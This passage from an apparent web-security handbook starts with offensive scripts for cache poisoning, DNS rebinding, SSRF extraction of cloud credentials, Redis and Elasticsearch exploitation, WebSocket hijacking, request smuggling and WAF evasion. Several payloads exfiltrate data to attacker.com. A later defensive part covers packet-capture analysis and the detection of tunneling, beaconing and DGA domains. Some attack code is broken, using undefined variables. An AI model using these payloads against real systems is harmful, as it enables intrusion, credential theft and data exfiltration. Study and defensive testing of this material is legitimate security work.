("/page?foo=1", "/page?foo=2"), # Query parameters
("/page", "/page"), # Same URL
("/page", "/PAGE"), # Case sensitivity
("/page", "/page", {"User-Agent": "A"}), # Headers
("/page", "/page", {"Accept": "A"}), # Accept header
("/page", "/page", {"Cookie": "A"}), # Cookies
]
for test in tests:
response1 = requests.get(test[0], headers=test[2] if len(test) > 2 else {})
response2 = requests.get(test[1], headers=test[3] if len(test) > 3 else {})
if response1.headers.get('X-Cache') == 'HIT':
print(f"[*] Cache key includes: {test}")Unkeyed Input Poisoning:
def unkeyed_header_poison(url, header, value, malicious_value):
"""Poison cache using unkeyed header"""
# Normal request with malicious header
headers = {header: malicious_value}
response = requests.get(url, headers=headers)
# Victim request without header
victim_response = requests.get(url)
# Check if victim got malicious response
if malicious_value in victim_response.text:
print(f"[!] Cache poisoned with {header}")X-Forwarded-Host Poisoning:
def xfh_cache_poison(target_url):
"""Poison cache using X-Forwarded-Host"""
# Request with malicious X-Forwarded-Host
headers = {
'X-Forwarded-Host': 'evil.com'
}
response = requests.get(target_url, headers=headers)
# Check if response includes evil.com in links
if 'evil.com' in response.text:
print("[!] Cache poisoning possible via X-Forwarded-Host")
# Now all users may get links to evil.com
return True
return FalseParameter Poisoning:
def param_cache_poison(url, param, malicious_value):
"""Poison cache using unkeyed parameter"""
# Find parameter not in cache key
# Request with malicious parameter
params = {param: malicious_value}
response = requests.get(url, params=params)
# Check if response includes malicious content
if malicious_value in response.text:
# Now request without parameter gets cached malicious response
victim_response = requests.get(url)
if malicious_value in victim_response.text:
print("[!] Cache poisoned via parameter")Path Confusion:
def cache_deception(url, sensitive_path, static_extension):
"""Trick cache into storing sensitive content"""
# Request sensitive content with static extension
deceptive_url = f"{url}{sensitive_path}/{static_extension}"
response = requests.get(deceptive_url)
# If cache stores this as static file...
if response.status_code == 200:
print(f"[*] Sensitive content at {deceptive_url}")
# Try to retrieve from cache as anonymous user
anon_response = requests.get(deceptive_url)
if anon_response.status_code == 200:
print(f"[!] Cache deception successful")
print(anon_response.text[:500])DNS Rebinding Server:
from scapy.all import *
import threading
import time
class DNSRebindingServer:
def __init__(self, external_ip, internal_ip, domain):
self.external_ip = external_ip
self.internal_ip = internal_ip
self.domain = domain
self.queries = {}
def handle_dns(self, pkt):
"""Handle DNS queries"""
if pkt.haslayer(DNS) and pkt[DNS].qr == 0: # Query
qname = pkt[DNS].qd.qname.decode()
if self.domain in qname:
client_ip = pkt[IP].src
# Track queries per client
if client_ip not in self.queries:
self.queries[client_ip] = 0
self.queries[client_ip] += 1
# First query: external IP, subsequent: internal IP
if self.queries[client_ip] == 1:
response_ip = self.external_ip
else:
response_ip = self.internal_ip
# Build response
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
dns = DNS(
id=pkt[DNS].id,
qr=1,
aa=1,
qd=pkt[DNS].qd,
an=DNSRR(rrname=qname, ttl=0, rdata=response_ip)
)
response = ip/udp/dns
send(response, verbose=False)
print(f"[+] {client_ip} query {self.queries[client_ip]}: {response_ip}")
def start(self):
print(f"[*] DNS rebinding server running")
sniff(filter="udp port 53", prn=self.handle_dns)Rebinding Attack Payload:
<!-- rebind.html -->
<html>
<head>
<script>
function scanInternal() {
// After DNS rebinding, this will target internal IP
fetch('http://rebind.attacker.com:8080/admin')
.then(response => response.text())
.then(data => {
fetch('http://attacker.com/steal?data=' + btoa(data));
});
}
// Trigger rebinding
setTimeout(scanInternal, 5000);
</script>
</head>
<body>
<h1>Loading...</h1>
</body>
</html>Using Singularity of Origin:
# Clone and run Singularity
git clone https://github.com/nccgroup/singularity
cd singularity
python3 singularity_server.py
# Configure in browser
# Visit http://localhost:8080Using Custom Script:
def dns_rebinding_scan(target_domain, internal_range):
"""Scan internal network via DNS rebinding"""
import requests
import time
# First request - gets external IP
response = requests.get(f"http://{target_domain}/")
# Wait for TTL to expire
time.sleep(2)
# Now scan internal hosts
for i in range(1, 255):
host = f"http://{target_domain}/?target=192.168.1.{i}"
try:
response = requests.get(host, timeout=2)
if response.status_code == 200:
print(f"[+] Found internal host: 192.168.1.{i}")
except:
passSSRF Detection:
def detect_ssrf(url, param):
"""Test for SSRF vulnerabilities"""
import requests
# Test with internal addresses
test_urls = [
"http://127.0.0.1:80",
"http://127.0.0.1:443",
"http://127.0.0.1:22",
"http://169.254.169.254/latest/meta-data/",
"http://localhost:8080",
"file:///etc/passwd",
"gopher://localhost:8080/_GET%20/HTTP/1.0"
]
for test_url in test_urls:
params = {param: test_url}
try:
response = requests.get(url, params=params, timeout=5)
# Check for signs of SSRF
if "root:" in response.text:
print(f"[!] SSRF detected - file read via {test_url}")
elif "ami-id" in response.text:
print(f"[!] SSRF detected - cloud metadata via {test_url}")
elif response.status_code == 200 and "127.0.0.1" in test_url:
print(f"[!] Possible SSRF to {test_url}")
except:
passCloud Metadata Extraction:
def extract_aws_metadata(ssrf_url, param):
"""Extract AWS metadata via SSRF"""
import requests
metadata_paths = [
"/latest/meta-data/",
"/latest/meta-data/iam/security-credentials/",
"/latest/meta-data/iam/security-credentials/admin",
"/latest/user-data/",
"/latest/meta-data/hostname",
"/latest/meta-data/public-ipv4",
"/latest/meta-data/placement/availability-zone"
]
for path in metadata_paths:
test_url = f"http://169.254.169.254{path}"
params = {param: test_url}
try:
response = requests.get(ssrf_url, params=params, timeout=5)
if response.status_code == 200 and response.text.strip():
print(f"[+] Metadata from {path}:")
print(response.text[:500])
except:
passIP Obfuscation:
def ip_obfuscation(ip):
"""Generate obfuscated IP representations"""
import ipaddress
ip_obj = ipaddress.ip_address(ip)
ip_int = int(ip_obj)
obfuscations = [
ip, # Original
str(ip_int), # Decimal
hex(ip_int), # Hexadecimal
oct(ip_int), # Octal
ip.replace('.', '。'), # Unicode dots
f"http://{ip}.nip.io/", # DNS rebinding services
f"http://{ip}.xip.io/",
f"http://{ip}.sslip.io/",
]
# IPv6 alternatives
if ip == "127.0.0.1":
obfuscations.extend([
"::1",
"[::1]",
"0:0:0:0:0:0:0:1",
"127.127.127.127", # Some systems redirect
])
return obfuscationsURL Encoding Bypass:
def url_encoded_bypass(url):
"""Generate URL-encoded variants"""
import urllib.parse
encoded = urllib.parse.quote(url, safe='')
variants = [
url,
encoded,
encoded.replace('%', '%%'), # Double encoding
url.replace('http', 'h%74tp'), # Partial encoding
url.replace('.', '%2e'), # Encode dots
url.replace('/', '%2f'), # Encode slashes
]
return variantsRedirect Bypass:
def redirect_bypass():
"""Use redirects to bypass filters"""
redirect_services = [
"http://localtest.me",
"http://localhost.nip.io",
"http://127.0.0.1.nip.io",
"http://169.254.169.254.nip.io",
"http://www.example.com/redirect?url=http://127.0.0.1",
]
return redirect_servicesRedis SSRF:
def redis_ssrf_rce(ssrf_url, param, attacker_ip, attacker_port):
"""Use SSRF to attack Redis"""
# Redis protocol payload to write SSH key
redis_payload = (
"*3\r\n"
"$3\r\nSET\r\n"
"$4\r\nkey1\r\n"
"$" + str(len(ssh_key)) + "\r\n" + ssh_key + "\r\n"
"*4\r\n"
"$6\r\nCONFIG\r\n"
"$3\r\nSET\r\n"
"$10\r\ndir\r\n"
"$16\r\n/root/.ssh/\r\n"
"*4\r\n"
"$6\r\nCONFIG\r\n"
"$3\r\nSET\r\n"
"$10\r\ndbfilename\r\n"
"$9\r\nauthorized_keys\r\n"
"*1\r\n"
"$4\r\nSAVE\r\n"
)
# Encode for gopher
gopher_url = f"gopher://{target_redis}:6379/_{redis_payload.replace(' ', '%20').replace('\r\n', '%0d%0a')}"
# Send via SSRF
params = {param: gopher_url}
requests.get(ssrf_url, params=params)Elasticsearch SSRF:
def elasticsearch_ssrf(ssrf_url, param, es_host):
"""Use SSRF to query Elasticsearch"""
# Script injection
script = {
"script": {
"lang": "painless",
"source": "java.lang.Runtime.getRuntime().exec('curl http://attacker.com')"
}
}
import json
es_url = f"http://{es_host}:9200/_scripts/test"
# Send via SSRF
params = {param: es_url}
requests.post(ssrf_url, params=params, json=script)WebSocket Connection:
// Client-side WebSocket
var ws = new WebSocket("ws://target.com/chat");
ws.onopen = function() {
ws.send("Hello server");
};
ws.onmessage = function(event) {
console.log("Received: " + event.data);
};Hijacking Exploit:
<!-- csrf-ws.html -->
<html>
<head>
<script>
function hijackWebSocket() {
// Connect to WebSocket using victim's credentials
// (cookies will be sent automatically)
var ws = new WebSocket("ws://target.com/chat");
ws.onopen = function() {
// Send malicious message
ws.send("!ADMIN DELETE ALL USERS");
};
ws.onmessage = function(event) {
// Steal responses
fetch("http://attacker.com/steal?data=" + btoa(event.data));
};
}
// Auto-execute
hijackWebSocket();
</script>
</head>
<body>
<h1>Loading...</h1>
</body>
</html>Testing for WebSocket Hijacking:
def test_websocket_hijacking(url):
"""Test for Cross-Site WebSocket Hijacking"""
import requests
# Check if WebSocket endpoint exists
response = requests.get(url)
# Look for WebSocket connections
if "new WebSocket" in response.text:
print("[*] WebSocket found, testing CSRF...")
# Test with different origins
origins = [
"http://evil.com",
"null",
"http://localhost",
"http://127.0.0.1"
]
for origin in origins:
headers = {"Origin": origin}
try:
# This is simplified - actual WebSocket testing requires
# proper WebSocket client
print(f"Testing Origin: {origin}")
except:
passTE.TE with Spaces:
def te_te_space_bypass():
"""TE.TE obfuscation with spaces"""
variants = [
"Transfer-Encoding : chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: x",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
]
return variantsHeader Injection:
def header_injection_smuggling(target_host, target_port):
"""Use header injection for smuggling"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"GET /admin HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"X-Ignore: X\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(payload.encode())
response = sock.recv(4096)
sock.close()
return responsePoisoning Shared Connections:
def connection_pool_poisoning(target_host, target_port, num_requests=10):
"""Attempt to poison connection pools"""
import requests
from requests.adapters import HTTPAdapter
session = requests.Session()
# Use same connection for multiple requests
adapter = HTTPAdapter(pool_connections=1, pool_maxsize=1)
session.mount('http://', adapter)
# First request - smuggling attempt
headers = {
'Content-Length': '13',
'Transfer-Encoding': 'chunked'
}
data = "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: localhost\r\n\r\n"
response1 = session.post(f"http://{target_host}:{target_port}",
headers=headers, data=data)
# Second request - should get smuggled response
response2 = session.get(f"http://{target_host}:{target_port}/test")
if response2.status_code == 404:
print("[!] Connection pool poisoned")Capture Filters (BPF - Berkeley Packet Filter):
# Capture only HTTP traffic
tcp port 80
# Capture specific host
host 192.168.1.100
# Capture POST requests
tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)
# Capture all traffic except ARP and DNS
not arp and not port 53
# Capture traffic to/from specific network
net 192.168.1.0/24
# Capture TCP flags (SYN packets)
tcp[tcpflags] & tcp-syn != 0Display Filters for Web Analysis:
# HTTP requests
http.request
# HTTP POST data
http.request.method == "POST"
# Specific cookies
http.cookie contains "sessionid"
# HTTPS handshakes
ssl.handshake.type == 1 # Client Hello
ssl.handshake.type == 2 # Server Hello
# SQL injection attempts
http.request.uri contains "union" or http.request.uri contains "select"
# XSS attempts
http.request.uri contains "<script"
# File downloads
http.response.code == 200 and http.content_type contains "application"
# Error responses
http.response.code >= 400
# Specific IP conversations
ip.addr == 192.168.1.100
# Follow TCP stream
tcp.stream eq 0
Basic Tshark Usage:
# List interfaces
tshark -D
# Capture to file
tshark -i eth0 -w capture.pcap
# Read capture file
tshark -r capture.pcap
# Limit packet count
tshark -i eth0 -c 100 -w capture.pcapExtracting HTTP Data:
# Extract all HTTP requests
tshark -r capture.pcap -Y "http.request" -T fields -e http.request.method -e http.request.uri -e http.host
# Extract HTTP POST content
tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data
# Extract HTTP user agents
tshark -r capture.pcap -Y "http.request" -T fields -e http.user_agent | sort | uniq -c | sort -nr
# Extract cookies
tshark -r capture.pcap -Y "http.cookie" -T fields -e http.cookie
# Extract referers
tshark -r capture.pcap -Y "http.referer" -T fields -e http.refererFollowing TCP Streams:
# Follow TCP stream (interactive)
tshark -r capture.pcap -q --follow tcp,ascii,0
# Export objects
tshark -r capture.pcap -q --export-objects http,./export/
# Reassemble streams
tshark -r capture.pcap -z follow,tcp,ascii,0Statistics and Analysis:
# Protocol hierarchy
tshark -r capture.pcap -z io,phs -q
# Endpoint statistics
tshark -r capture.pcap -z endpoints,ip -q
# Conversation statistics
tshark -r capture.pcap -z conv,ip -q
# HTTP statistics
tshark -r capture.pcap -z http,tree -q
# Packet length statistics
tshark -r capture.pcap -z plen,tree -qBasic Scapy Analysis:
from scapy.all import *
import pandas as pd
def analyze_pcap(pcap_file):
"""Analyze pcap file with Scapy"""
packets = rdpcap(pcap_file)
print(f"Total packets: {len(packets)}")
print(f"First packet: {packets[0].time}")
print(f"Last packet: {packets[-1].time}")
# Protocol distribution
protocols = {}
for pkt in packets:
if pkt.haslayer(TCP):
protocols['TCP'] = protocols.get('TCP', 0) + 1
elif pkt.haslayer(UDP):
protocols['UDP'] = protocols.get('UDP', 0) + 1
elif pkt.haslayer(ICMP):
protocols['ICMP'] = protocols.get('ICMP', 0) + 1
elif pkt.haslayer(ARP):
protocols['ARP'] = protocols.get('ARP', 0) + 1
print("\nProtocol distribution:")
for proto, count in protocols.items():
print(f" {proto}: {count} ({count/len(packets)*100:.1f}%)")
return packetsHTTP Analysis with Scapy:
def analyze_http(packets):
"""Extract HTTP requests/responses"""
http_requests = []
http_responses = []
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode('utf-8', errors='ignore')
# HTTP request
if payload.startswith(('GET', 'POST', 'PUT', 'DELETE', 'HEAD')):
lines = payload.split('\n')
request_line = lines[0]
method, path, version = request_line.split()
# Extract headers
headers = {}
for line in lines[1:]:
if ': ' in line:
key, value = line.split(': ', 1)
headers[key] = value.strip()
http_requests.append({
'time': pkt.time,
'src': pkt[IP].src,
'dst': pkt[IP].dst,
'sport': pkt[TCP].sport,
'dport': pkt[TCP].dport,
'method': method,
'path': path,
'version': version,
'headers': headers,
'body': '\n'.join(lines[lines.index('')+1:]) if '' in lines else ''
})
# HTTP response
elif payload.startswith('HTTP'):
lines = payload.split('\n')
response_line = lines[0]
version, code, status = response_line.split(' ', 2)
http_responses.append({
'time': pkt.time,
'src': pkt[IP].src,
'dst': pkt[IP].dst,
'code': int(code),
'status': status,
'headers': dict(line.split(': ', 1) for line in lines[1:] if ': ' in line)
})
return http_requests, http_responsesExtracting Files from PCAP:
def extract_files(packets):
"""Extract files from HTTP traffic"""
import re
import os
# Create output directory
os.makedirs('extracted', exist_ok=True)
file_counter = 0
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load
# Look for file signatures
signatures = [
(b'\x89PNG', 'png'),
(b'\xff\xd8', 'jpg'),
(b'GIF8', 'gif'),
(b'PK', 'zip'),
(b'%PDF', 'pdf'),
]
for sig, ext in signatures:
if sig in payload[:10]:
# Extract file
filename = f"extracted/file_{file_counter}.{ext}"
with open(filename, 'wb') as f:
f.write(payload)
print(f"[+] Extracted {filename}")
file_counter += 1
breakTimeline Analysis:
def create_timeline(packets):
"""Create timeline of network events"""
timeline = []
for pkt in packets:
event = {
'time': pkt.time,
'src': pkt[IP].src if pkt.haslayer(IP) else None,
'dst': pkt[IP].dst if pkt.haslayer(IP) else None,
'proto': 'TCP' if pkt.haslayer(TCP) else 'UDP' if pkt.haslayer(UDP) else 'Other',
}
if pkt.haslayer(TCP):
event['sport'] = pkt[TCP].sport
event['dport'] = pkt[TCP].dport
event['flags'] = pkt[TCP].flags
# Check for suspicious activity
if pkt[TCP].flags == 2: # SYN only
event['note'] = 'SYN scan'
elif pkt[TCP].flags == 5: # FIN only
event['note'] = 'FIN scan'
timeline.append(event)
# Sort by time
timeline.sort(key=lambda x: x['time'])
return timelineConversation Analysis:
def analyze_conversations(packets):
"""Analyze network conversations"""
conversations = {}
for pkt in packets:
if pkt.haslayer(IP):
# Create conversation key
src = pkt[IP].src
dst = pkt[IP].dst
# Sort IPs for bidirectional conversation
conv = tuple(sorted([src, dst]))
if conv not in conversations:
conversations[conv] = {
'packets': 0,
'bytes': 0,
'start_time': pkt.time,
'end_time': pkt.time,
'src_hosts': {src, dst}
}
conv_data = conversations[conv]
conv_data['packets'] += 1
conv_data['bytes'] += len(pkt)
conv_data['end_time'] = pkt.time
# Sort by packet count
sorted_convs = sorted(conversations.items(),
key=lambda x: x[1]['packets'],
reverse=True)
for conv, data in sorted_convs[:10]:
print(f"Conversation {conv[0]} <-> {conv[1]}:")
print(f" Packets: {data['packets']}")
print(f" Bytes: {data['bytes']}")
print(f" Duration: {data['end_time'] - data['start_time']:.2f}s")TCP Flag Anomalies:
def detect_tcp_anomalies(packets):
"""Detect anomalous TCP flag combinations"""
anomalies = []
for pkt in packets:
if pkt.haslayer(TCP):
flags = pkt[TCP].flags
# Invalid flag combinations
if flags & 0x02 and flags & 0x04: # SYN+RST
anomalies.append(('SYN+RST', pkt))
elif flags & 0x01 and flags & 0x04: # FIN+RST
anomalies.append(('FIN+RST', pkt))
elif flags & 0x02 and flags & 0x01: # SYN+FIN
anomalies.append(('SYN+FIN', pkt))
elif flags == 0: # NULL scan
anomalies.append(('NULL flags', pkt))
elif flags & 0x29: # FIN+PSH+URG (XMAS)
anomalies.append(('XMAS scan', pkt))
return anomaliesTCP Window Analysis:
def analyze_tcp_windows(packets):
"""Analyze TCP window sizes for anomalies"""
window_stats = {}
for pkt in packets:
if pkt.haslayer(TCP):
src = pkt[IP].src
window = pkt[TCP].window
if src not in window_stats:
window_stats[src] = []
window_stats[src].append(window)
# Detect unusual window sizes
for src, windows in window_stats.items():
avg_window = sum(windows) / len(windows)
max_window = max(windows)
min_window = min(windows)
# Window size 0 indicates potential DoS
if 0 in windows:
print(f"[!] {src} sent window 0 packets")
# Very large windows
if max_window > 65535:
print(f"[!] {src} sent window scaling: {max_window}")Request Smuggling Indicators:
def detect_smuggling_indicators(packets):
"""Detect potential request smuggling"""
suspicious = []
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode('utf-8', errors='ignore')
# Multiple Content-Length headers
if payload.count('Content-Length:') > 1:
suspicious.append(('multiple_content_length', pkt))
# Conflicting Transfer-Encoding
if 'Transfer-Encoding: chunked' in payload and 'Content-Length:' in payload:
suspicious.append(('te_cl_conflict', pkt))
# Obfuscated Transfer-Encoding
if 'Transfer-Encoding:' in payload:
te_line = [l for l in payload.split('\n') if 'Transfer-Encoding:' in l]
for line in te_line:
if any(x in line.lower() for x in ['x', ' ', '\t', '\r']):
suspicious.append(('te_obfuscation', pkt))
return suspiciousICMP Tunneling Detection:
def detect_icmp_tunneling(packets):
"""Detect potential ICMP tunneling"""
icmp_stats = {}
for pkt in packets:
if pkt.haslayer(ICMP):
src = pkt[IP].src
dst = pkt[IP].dst
size = len(pkt)
key = f"{src}->{dst}"
if key not in icmp_stats:
icmp_stats[key] = []
icmp_stats[key].append(size)
# Analyze ICMP flows
for flow, sizes in icmp_stats.items():
if len(sizes) > 10: # Significant number of ICMP
avg_size = sum(sizes) / len(sizes)
# Unusually large ICMP packets
if max(sizes) > 100:
print(f"[!] Large ICMP packets in flow {flow}")
# Consistent size pattern
if len(set(sizes)) < len(sizes) / 2:
print(f"[!] Uniform ICMP sizes in flow {flow}")Creating Incident Timeline:
def create_incident_timeline(pcap_file, start_time=None, end_time=None):
"""Create timeline for incident investigation"""
packets = rdpcap(pcap_file)
timeline = []
for pkt in packets:
# Filter by time if specified
if start_time and pkt.time < start_time:
continue
if end_time and pkt.time > end_time:
continue
event = {
'timestamp': pkt.time,
'src': None,
'dst': None,
'proto': None,
'info': ''
}
if pkt.haslayer(IP):
event['src'] = pkt[IP].src
event['dst'] = pkt[IP].dst
if pkt.haslayer(TCP):
event['proto'] = 'TCP'
event['info'] = f"Port {pkt[TCP].sport} -> {pkt[TCP].dport}"
if pkt[TCP].flags == 2:
event['info'] += " [SYN]"
elif pkt.haslayer(UDP):
event['proto'] = 'UDP'
event['info'] = f"Port {pkt[UDP].sport} -> {pkt[UDP].dport}"
elif pkt.haslayer(ICMP):
event['proto'] = 'ICMP'
event['info'] = f"Type {pkt[ICMP].type}"
timeline.append(event)
# Sort by timestamp
timeline.sort(key=lambda x: x['timestamp'])
return timelineLarge Outbound Transfers:
def detect_large_transfers(packets, threshold_bytes=10*1024*1024):
"""Detect large data transfers"""
transfers = {}
for pkt in packets:
if pkt.haslayer(IP):
src = pkt[IP].src
dst = pkt[IP].dst
size = len(pkt)
# Only count outbound traffic (from internal to external)
if self.is_internal_ip(src) and not self.is_internal_ip(dst):
key = f"{src}->{dst}"
transfers[key] = transfers.get(key, 0) + size
# Report large transfers
for transfer, bytes_sent in transfers.items():
if bytes_sent > threshold_bytes:
print(f"[!] Large transfer: {transfer} - {bytes_sent/1024/1024:.2f} MB")DNS Tunneling Detection:
def detect_dns_tunneling(packets):
"""Detect potential DNS tunneling"""
dns_queries = {}
for pkt in packets:
if pkt.haslayer(DNS) and pkt[DNS].qr == 0: # Query
qname = pkt[DNS].qd.qname.decode()
qtype = pkt[DNS].qd.qtype
src = pkt[IP].src
# Track queries per source
if src not in dns_queries:
dns_queries[src] = []
dns_queries[src].append({
'name': qname,
'type': qtype,
'length': len(qname)
})
# Analyze for tunneling indicators
for src, queries in dns_queries.items():
# Unusually long domain names
long_queries = [q for q in queries if q['length'] > 50]
if long_queries:
print(f"[!] {src}: {len(long_queries)} long DNS queries")
# High frequency
if len(queries) > 100:
print(f"[!] {src}: High DNS query volume ({len(queries)})")
# Non-standard record types
txt_queries = [q for q in queries if q['type'] == 16] # TXT
if txt_queries:
print(f"[!] {src}: {len(txt_queries)} TXT queries")Beacon Detection:
def detect_beacon_patterns(packets, target_ip):
"""Detect beaconing behavior"""
import numpy as np
# Get outbound connections
connections = []
for pkt in packets:
if pkt.haslayer(IP) and pkt[IP].src == target_ip and pkt.haslayer(TCP):
if pkt[TCP].flags == 2: # SYN
connections.append({
'time': pkt.time,
'dst': pkt[IP].dst,
'dport': pkt[TCP].dport
})
# Group by destination
beacons = {}
for conn in connections:
key = f"{conn['dst']}:{conn['dport']}"
if key not in beacons:
beacons[key] = []
beacons[key].append(conn['time'])
# Analyze timing patterns
for dest, times in beacons.items():
if len(times) > 5:
intervals = np.diff(times)
mean_interval = np.mean(intervals)
std_interval = np.std(intervals)
# Regular intervals indicate beaconing
if std_interval < mean_interval * 0.2: # Low variation
print(f"[!] Possible beacon to {dest}")
print(f" Interval: {mean_interval:.2f}s ± {std_interval:.2f}s")DGA Domain Detection:
def detect_dga_domains(dns_queries):
"""Detect algorithmically generated domains"""
import re
def entropy(string):
"""Calculate Shannon entropy"""
import math
prob = [float(string.count(c)) / len(string) for c in set(string)]
return -sum([p * math.log(p) / math.log(2.0) for p in prob])
suspicious = []
for query in dns_queries:
domain = query['name'].rstrip('.')
# Extract main domain (remove subdomain)
parts = domain.split('.')
if len(parts) > 2:
main_domain = parts[-2] + '.' + parts[-1]
subdomain = '.'.join(parts[:-2])
# Check subdomain for DGA characteristics
if len(subdomain) > 10:
# High entropy suggests randomness
if entropy(subdomain) > 4.0:
suspicious.append(domain)
# Unusual character distribution
if re.search(r'[0-9]{5,}', subdomain):
suspicious.append(domain)
# Consonant-heavy
consonants = sum(1 for c in subdomain if c.isalpha() and c.lower() not in 'aeiou')
if consonants / len(subdomain) > 0.7:
suspicious.append(domain)
return suspiciousJA3 Fingerprinting:
import hashlib
import struct
def calculate_ja3(pkt):
"""Calculate JA3 fingerprint for TLS Client Hello"""
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = bytes(pkt[Raw])
# Check for TLS Client Hello
if len(payload) > 5 and payload[0] == 0x16 and payload[5] == 0x01:
# Extract TLS handshake
# This is simplified - real JA3 requires parsing TLS extensions
return None
return NoneTLS Version Analysis:
def analyze_tls_versions(packets):
"""Analyze TLS versions in use"""
versions = {}
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = bytes(pkt[Raw])
# Check for TLS records
if len(payload) > 0 and payload[0] in [0x16, 0x17, 0x15]:
if len(payload) > 2:
version = (payload[1], payload[2])
# Map version to name
version_map = {
(3, 0): 'SSLv3',
(3, 1): 'TLS 1.0',
(3, 2): 'TLS 1.1',
(3, 3): 'TLS 1.2',
(3, 4): 'TLS 1.3'
}
version_name = version_map.get(version, f'Unknown {version}')
versions[version_name] = versions.get(version_name, 0) + 1
return versionsTraffic Entropy Analysis:
def analyze_traffic_entropy(packets):
"""Analyze entropy of packet payloads"""
import numpy as np
from scipy.stats import entropy
results = {}
for pkt in packets:
if pkt.haslayer(Raw):
src = pkt[IP].src if pkt.haslayer(IP) else 'unknown'
payload = bytes(pkt[Raw])
if src not in results:
results[src] = []
# Calculate byte distribution
if len(payload) > 0:
counts = np.bincount(np.frombuffer(payload, dtype=np.uint8))
prob = counts / len(payload)
ent = entropy(prob, base=2)
results[src].append(ent)
# Identify high-entropy (likely encrypted) traffic
for src, ents in results.items():
avg_ent = np.mean(ents)
if avg_ent > 7.5: # High entropy suggests encryption
print(f"[*] {src}: High entropy traffic ({avg_ent:.2f}) - likely encrypted")
elif avg_ent < 6.0: # Low entropy suggests plaintext
print(f"[*] {src}: Low entropy traffic ({avg_ent:.2f}) - likely plaintext")Identifying WAF:
def detect_waf(url):
"""Detect WAF presence"""
import requests
headers = {
'User-Agent': 'malicious_payload',
'X-Forwarded-For': '1.2.3.4',
'X-Originating-IP': '1.2.3.4'
}
try:
response = requests.get(url, headers=headers)
# Check response headers
waf_headers = [
'CF-RAY', # Cloudflare
'X-Sucuri-ID', # Sucuri
'X-Firewall', # Generic
'X-WAF', # Generic
'Server: cloudflare', # Cloudflare
'Server: BigIP', # F5
'X-Powered-By: AWS Lambda', # AWS
]
for header in waf_headers:
if header in str(response.headers):
print(f"[+] Possible WAF detected: {header}")
# Check response codes for blocked requests
malicious_response = requests.get(url + "' OR '1'='1")
if malicious_response.status_code in [403, 406, 429, 503]:
print(f"[+] WAF blocking detected (status {malicious_response.status_code})")
except Exception as e:
print(f"Error: {e}")WAF Fingerprinting:
def fingerprint_waf(url):
"""Fingerprint specific WAF"""
import requests
# Test patterns that trigger different WAFs
tests = {
'Cloudflare': {
'headers': {'User-Agent': 'Mozilla/5.0'},
'expected_headers': ['CF-RAY']
},
'AWS WAF': {
'payload': 'UNION SELECT',
'expected_headers': ['x-amzn-RequestId']
},
'F5 BigIP': {
'payload': '../../etc/passwd',
'expected_headers': ['X-Cnection']
},
'ModSecurity': {
'payload': '<script>alert(1)</script>',
'expected_codes': [406]
},
'Akamai': {
'headers': {'User-Agent': 'malicious'},
'expected_headers': ['X-Akamai-Transformed']
}
}
for waf, test in tests.items():
try:
response = requests.get(url,
headers=test.get('headers', {}),
params={'q': test.get('payload', '')})
# Check headers
if 'expected_headers' in test:
for header in test['expected_headers']:
if header in response.headers:
print(f"[+] WAF identified: {waf}")
return waf
# Check status codes
if 'expected_codes' in test:
if response.status_code in test['expected_codes']:
print(f"[+] WAF identified: {waf}")
return waf
except:
pass
return "Unknown"SQL Injection Obfuscation:
def obfuscate_sql(payload):
"""Generate obfuscated SQL payloads"""
import random
obfuscations = []
# Case variation
obfuscations.append(''.join(random.choice([c.upper(), c.lower()]) for c in payload))
# Comment insertion
comment_variations = [
payload.replace(' ', '/**/'),
payload.replace(' ', '/*!12345*/'),
payload.replace('SELECT', 'SEL/*comment*/ECT'),
payload.replace('UNION', 'UNI/*!ON*/'),
]
obfuscations.extend(comment_variations)
# Encoding
import urllib.parse
obfuscations.append(urllib.parse.quote(payload))
obfuscations.append(urllib.parse.quote(urllib.parse.quote(payload))) # Double encoding
# Hexadecimal encoding
hex_payload = '0x' + ''.join(hex(ord(c))[2:] for c in payload)
obfuscations.append(f"SELECT * FROM users WHERE username={hex_payload}")
# MySQL-specific
if 'UNION' in payload.upper():
obfuscations.append(payload.replace('UNION', 'UNION ALL'))
obfuscations.append(payload.replace('UNION', 'UNION DISTINCT'))
return obfuscationsXSS Obfuscation:
def obfuscate_xss(payload):
"""Generate obfuscated XSS payloads"""
obfuscations = []
# Basic script tag
obfuscations.append(f"<script>{payload}</script>")
# Case variation
obfuscations.append(f"<ScRiPt>{payload}</sCrIpT>")
# Without parentheses
if 'alert' in payload:
obfuscations.append(payload.replace('alert(1)', 'alert`1`'))
# HTML entities
html_entities = ''.join(f"&#{ord(c)};" for c in f"<script>{payload}</script>")
obfuscations.append(html_entities)
# JavaScript encoding
js_encoded = ''.join(f"\\u{ord(c):04x}" for c in payload)
obfuscations.append(f"<script>eval('{js_encoded}')</script>")
# Data URI
import base64
b64_payload = base64.b64encode(f"<script>{payload}</script>".encode()).decode()
obfuscations.append(f'<object data="data:text/html;base64,{b64_payload}">')
# SVG vector
obfuscations.append(f'<svg onload="{payload}">')
# Link tag
obfuscations.append(f'<link rel="import" href="data:text/html;base64,{b64_payload}">')
return obfuscationsParameter Pollution:
def parameter_pollution(url, param, values):
"""Test parameter pollution bypass"""
import requests
# Single parameter with multiple values
params = {param: values}
response = requests.get(url, params=params)
print(f"Multiple values: {response.status_code}")
# Array-style parameter
array_params = {f"{param}[]": v for v in values}
response = requests.get(url, params=array_params)
print(f"Array style: {response.status_code}")
# Duplicate parameter names
